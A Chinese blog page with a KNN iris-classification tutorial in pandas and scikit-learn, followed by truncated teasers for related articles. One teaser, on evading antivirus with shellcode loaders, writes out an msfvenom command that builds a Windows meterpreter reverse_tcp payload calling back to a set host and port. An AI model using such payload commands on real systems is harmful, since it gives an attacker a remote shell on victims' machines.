无锡网站怎么优化排名/北京百度快速排名
目录
一、KNN 算法简介
二、KNN算法的使用
1.读取数据
2.处理数据
三、训练模型
1.导入KNN模块
2.训练模型
3.出厂前测试
四、进行测试
1.处理数据
2.进行测试
总结
一、KNN 算法简介
KNN 是一种基于实例的学习算法。它通过比较样本之间的距离来进行预测。算法的核心思想是:对于一个未知样本,通过找到距离该样本最近的 (k) 个已知样本,根据这些已知样本的标签来预测未知样本的标签或数值。
二、KNN算法的使用
1.读取数据
import pandas as pd# numpy 读取二维数据
# pandas 读取表格类的数据 本文使用xlsx数据 所以用pandas# 读取数据
"""
train_data:训练集
test_data:测试集
"""
train_data = pd.read_excel("鸢尾花训练数据.xlsx")
test_data = pd.read_excel("鸢尾花测试数据.xlsx")
2.处理数据
- 提取出特征和分类标签
"""
处理训练集数据;
数据重排;
变量与标签分离.
"""
train_x = train_data[['萼片长(cm)', '萼片宽(cm)', '花瓣长(cm)', '花瓣宽(cm)']] # 特征
train_y = train_data[['类型_num']] # 提取单列返回series 需要用[]将其变成列表 # 标签
- 将每一列数据进行标准化处理,减小误差(大部分情况下能够减小误差)
"""
标准化语法 归一化:0~1 是对每一个特征列进行归一化
Z-Score标准化 -1~1
"""# 这里用的是scale模块 即Z-Score标准化方法
from sklearn.preprocessing import scaledata = pd.DataFrame()
# 对每一列数据进行标准化 目标: 让每个特征数据都在差不多大小范围内
data['萼片长标准化'] = scale(train_x['萼片长(cm)'])
data['萼片宽标准化'] = scale(train_x['萼片宽(cm)'])
data['花瓣长标准化'] = scale(train_x['花瓣长(cm)'])
data['花瓣宽标准化'] = scale(train_x['花瓣宽(cm)'])
三、训练模型
1.导入KNN模块
"""
使用sklearn库中的KNN模块
"""
from sklearn.neighbors import KNeighborsClassifier
2.训练模型
-
knn = KNeighborsClassifier(n_neighbors=9): 创建一个 KNN 分类器对象
-
n_neighbors=9 表示选择 9 个最近邻居来进行分类
- 使用交叉验证等方法选择合适的 K 值。常用的选择方式是尝试不同的 K 值,并选择表现最好的 K。
-
选择奇数的 K 值可以避免在分类时出现平局情况。
-
knn.fit(data, train_y): 使用 data 作为特征数据和 train_y 作为目标标签训练 KNN 模型。训练完成后,knn 变成一个已经训练好的模型,可以用来对新数据进行预测。
knn = KNeighborsClassifier(n_neighbors=9) # 参数最好是奇数 均值好判断
knn.fit(data, train_y) # 训练模型 knn就是训练好的模型
3.出厂前测试
- 使用训练集数据和分类对这个训练好的模型进行出厂前的测试
train_predicted = knn.predict(data) # 用knn模型对训练集data进行预测 相当于复习
score = knn.score(data, train_y) # 直接将使用data数据预测后的数据与data数据原分类进行对比 可以用来判断复习的正确率
print(score)
- 测试结果:
0.9696969696969697 # 说明该模型存在一点误差
四、进行测试
1.处理数据
- 测试集的数据在读取数据时已经读取过了,直接处理数据即可
# 测试
test_x = test_data[['萼片长(cm)', '萼片宽(cm)', '花瓣长(cm)', '花瓣宽(cm)']] # 特征
test_y = test_data[['类型_num']] # 标签test_data = pd.DataFrame()
# 对每一列数据进行标准化
test_data['萼片长标准化'] = scale(test_x['萼片长(cm)'])
test_data['萼片宽标准化'] = scale(test_x['萼片宽(cm)'])
test_data['花瓣长标准化'] = scale(test_x['花瓣长(cm)'])
test_data['花瓣宽标准化'] = scale(test_x['花瓣宽(cm)'])
2.进行测试
test_predicted = knn.predict(test_data) # 使用knn模型对test_data数据进行预测
print(test_predicted)
score = knn.score(test_data, test_y) # 判断测试集正确率
print(score)
测试结果:
[0 0 0 0 0 1 0 1 1]
0.8888888888888888
总结
KNN 算法是一种直观且实用的机器学习算法,适用于许多实际问题。它的优点在于简单易用,但在处理大数据集或高维数据时可能会遇到计算性能问题。通过合理选择 K 值和距离度量,可以提高 KNN 算法的效果。
相关文章:

KNN算法的使用
目录 一、KNN 算法简介 二、KNN算法的使用 1.读取数据 2.处理数据 三、训练模型 1.导入KNN模块 2.训练模型 3.出厂前测试 四、进行测试 1.处理数据 2.进行测试 总结 一、KNN 算法简介 KNN 是一种基于实例的学习算法。它通过比较样本之间的距离来进行预测。算法的核心…...

java文件上传
导入jar包,或者maven <!-- https://mvnrepository.com/artifact/commons-fileupload/commons-fileupload --> <dependency><groupId>commons-fileupload</groupId><artifactId>commons-fileupload</artifactId><version>…...

MySQL 数据库经验总结
一、数据库操作 1. 创建数据库 CREATE DATABASE database_name;例如,创建一个名为 my_database 的数据库: CREATE DATABASE my_database;2. 选择数据库 USE database_name;要使用刚才创建的 my_database 数据库: USE my_database;3. 删除…...

Python环境安装及PIP安装(Mac OS版)
官网 https://www.python.org/downloads/ 安装python python-3.12.1-macos11.pkg下载后,安装一直下一步即可 验证是否安装成功,执行python3命令和pip3命令 配置环境变量 获取python3安装位置并配置在.bash_profile #查看python路径 which python3#…...

2024自动驾驶(多模态)大模型综述:从DriveGPT4、DriveMLM到DriveLM、DriveVLM
前言 由于今年以来,一直在不断深挖具身智能机器人相关,而自动驾驶其实和机器人有着无比密切的联系,甚至可以认为,汽车就是一个带着4个轮子的机器人 加之个人认为,目前大模型落地潜力最大的两个方向,一个是…...

晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册
晨控CK-GW08-EC与汇川AC801系列PLC的EtherCAT通讯连接说明手册 晨控CK-GW08-EC是一款支持标准工业通讯协议EtherCAT的网关控制器,方便用户集成到PLC等控制系统中。系统还集成了8路读写接口,用户可通过通信接口使用EtherCAT协议对8路读写接口所连接的读卡器进行相对…...

向上or向下调整建堆 的时间复杂度的本质区别的讲解
知识点:(N代表节点数,h代表高度) 1:高度为h的满二叉树节点个数N为 2^(h)-1 即N 2^(h)-1 2:所以h log(N1) 一:向上…...

阿一网络安全实战演练之利用 REST URL 中的服务器端参数污染
所需知识 要解决这个实验室问题,您需要了解以下内容: 如何确定用户输入是否包含在服务器端的 URL 路径或查询字符串中。如何使用路径遍历序列尝试更改服务器端请求。如何查找 API 文档。 这些内容在我们的 API 测试学院主题中有涵盖。 进入实验室 研…...

[游戏开发] LuaTable转string存读二进制文件
UE5和Unity通用此方案,只不过读写文件的接口略有不同,lua代码的处理是相同的。 下面两个方法是 LuaTable和字符串互相转换的代码 function XUtils.luaTableToString(tab, sp)sp sp or ""local s ""for k,v in pairs(tab) doif t…...

光伏业务管理系统的一些妙用功能
现在信息化流程化基本上每个行业都必须要有的了,光伏业务管理系统软件是一种专门用于光伏产业运营和管理的综合性系统,它结合了信息技术、数据分析、项目管理、客户管理等多个领域的知识,为光伏企业提供了一个全面、高效、智能的管理平台&…...

Java面试八股之请简述消息队列的发布订阅模式
请简述消息队列的发布订阅模式 发布订阅(Publish-Subscribe,简称 Pub/Sub)模型是一种消息传递模式,它在组件之间提供了高度的解耦和灵活性。这种模式广泛应用于分布式系统、事件驱动架构以及消息队列系统中。下面是发布订阅模型的…...

七、2 ADC数模转换器有关函数介绍(Keil5)
函数介绍 (1)ADCCLK的配置函数(在rcc.h中) (2)ADC的库函数(在adc.h中)...

了解载波侦听多路访问CSMA(上)
1.CSMA的思想 CSMA的全称是Carrier Sense Multiple Access,在笔者的理解中,其更趋向于一种理论研究的随机接入协议,或者说,基于其思想诞生了比如CSMA/CD与CSMA/CA这样的具体协议。CSMA可以分成以下三种: 1-persistent…...

开启教育新征程:“集师” 知识付费平台搭建
在教育培训行业竞争日益激烈的今天,如何脱颖而出,实现知识的最大价值?答案就在 “集师” 知识付费平台搭建! “集师” 为您打造专属的知识付费平台,提供一站式解决方案。无论您是专注于学科教育、艺术培训还是职业技能…...

Vue3 + Electron 创建新的子窗口 且子窗口唯一
main.js const { app, BrowserWindow, ipcMain } require(electron) ...ipcMain.on(window-create, () > {createChildWindow() })let childWindow nullconst createChildWindow () > {// 如果窗口存在 先销毁if (childWindow) {childWindow.destroy()childWindow n…...

海康VisionMaster使用学习笔记2-相机取图及参数设置
相机取图及参数设置 1. 关联相机-相机管理界面 除了以上两类外,第三方相机都可以通过全局相机进行连接 2. 相机参数设置 相机连接 跨网段IP,枚举 图像缓存数量 实时取流,断线重连 只有支持组播的相机才可以实时取流 触发设置 触发源 LINE0 可以保护电路 LINE2 可配置输入输出…...

【网络】【Linux】Linux内核中连接的组织形式与全连接队列
Linux内核中连接的组织形式与全连接队列 文章目录 1.前言2.Linux内核中连接的组织形式2.1套接字和文件描述符2.2创建连接 & 获取连接 3.全连接队列3.1为什么有全连接队列?3.2全连接队列的长度 1.前言 TCP是面向连接的,TCP的各种可靠性机制实际都不…...

记录一次 npm ERR! cb() never called! 解决过程
gitlab cicd过程,使用docker部署Vue3前端项目,报错如下: 针对 npm ERR! cb() never called! 这个报错,网上有很多解决方案,大都是清空缓存,重新运行npm 之类的。笔者全都试过,无法解决问题。笔者…...

WEB渗透免杀篇-加载器免杀
SSI加载 https://github.com/DimopoulosElias/SimpleShellcodeInjector生成payload(c) msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.0.108 lport12138 -f c -o shellcode.c执行 cat shellcode.c |grep -v unsigned|sed "s/\"\\\x//g"|sed &quo…...

什么是反人性设计?
目录 一、什么是人性? 二、什么是反人性设计? 三、有哪些反人性设计? 一、什么是人性? 人性,通常指的是人类共有的基本特质和行为倾向,它涵盖了一系列心理、情感和社会属性。人性可以从多个角度来理解&a…...

如何进行长截图的两种方法
前言 本文主要讲2种截图方式,分别是谷歌和QQ。 谷歌分为Web端 和 移动端,选一种即可。 第一种:谷歌浏览器控制台自带的 1.先把控制台语言更改为中文,方便查看 ①.按F12,点击设置面板 ②.修改语言为中文并关闭 ③.点击…...

基于轨迹的汽车跟随系统横向控制方法
A Trajectory-Based Approach for the Lateral Control of Vehicle Following Systems 基于轨迹的汽车跟随系统横向控制方法 Abstract Abstract| A crucial task for steering an autonomous vehicle along a safe path in a vehicle following scenario is the lateral cont…...

2024年8月15日嵌入式学习
今日主要学习线程和线程的互斥锁 pthread_cancel函数 它用于取消一个线程,当一个线程收到取消的申请时,他不会立即停止,而是在下一个取消点处结束运行,取消点是程序中一个特定的位置。如果线程在执行一个不可中断的系统调用&…...

C++引用和指针的区别还分不清楚?
不像其他语言,c既有引用的概念、又有指针的概念。 很多人用着用着就懵了。 不用慌,给你画个表格协助判断。 总体上,我们可以总结为以下五个区别: 一、定义方式: 指针通过使用 * 来定义,例如࿱…...

【Cesium开发实战】相机捕捉功能,获取当前视图,设定分辨率可下载当前视图图片
Cesium有很多很强大的功能,可以在地球上实现很多炫酷的3D效果。今天给大家分享一个相机捕捉功能,支持可以按照设定的分辨率下载当前视角的缩略图。 1.话不多说,先展示 相机快照 2.设计思路 根据项目需求要求,点击快照捕捉按钮可截取当前视角视图为缩略图,并弹框可输入视…...

基于spring boot的疫情信息管理系统
TOC springboot255基于spring boot的疫情信息管理系统 绪论 1.1研究背景与意义 信息化管理模式是将行业中的工作流程由人工服务,逐渐转换为使用计算机技术的信息化管理服务。这种管理模式发展迅速,使用起来非常简单容易,用户甚至不用掌握…...

【秋招笔试】8.11大疆秋招(第二套)-测开岗
🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收…...

Vitis AI 基本认知(训练过程)
目录 1. 目的 2. TensorBoard 2.1 In TensorFlow 2.2.1 安装 TensorBoard 2.2.2 导入必要的库 2.2.3 初始化 2.2.4 记录数据 2.2.5 启动 TensorBoard 2.2.6 刷新间隔 2.2 In PyTorch 2.2.1 安装 setuptools 2.2.2 记录数据 2.2.3 查看 Tensorboard 3. 训练周期 E…...

《SQL 约束:保障数据完整性与准确性的关键防线》
在数据库管理的世界里,SQL 约束(Constraints)就像是守护数据城堡的卫士,确保数据的完整性、准确性和一致性。主键、外键和唯一约束是其中最为重要的几种约束类型,它们在数据库设计和数据操作中发挥着至关重要的作用。本…...

Temu半托管即将开通日韩站点,Temu半托管怎么上产品?
Temu是拼多多旗下的跨境电商平台,截至2024上半年,Temu的销售额达到了200亿美元左右。目前,Temu已进入了50多个国家和地区,是跨境卖家掘金海外市场的重要平台。 Temu半托管即将开通日韩站点 今年3月,Temu跟随速卖通正式…...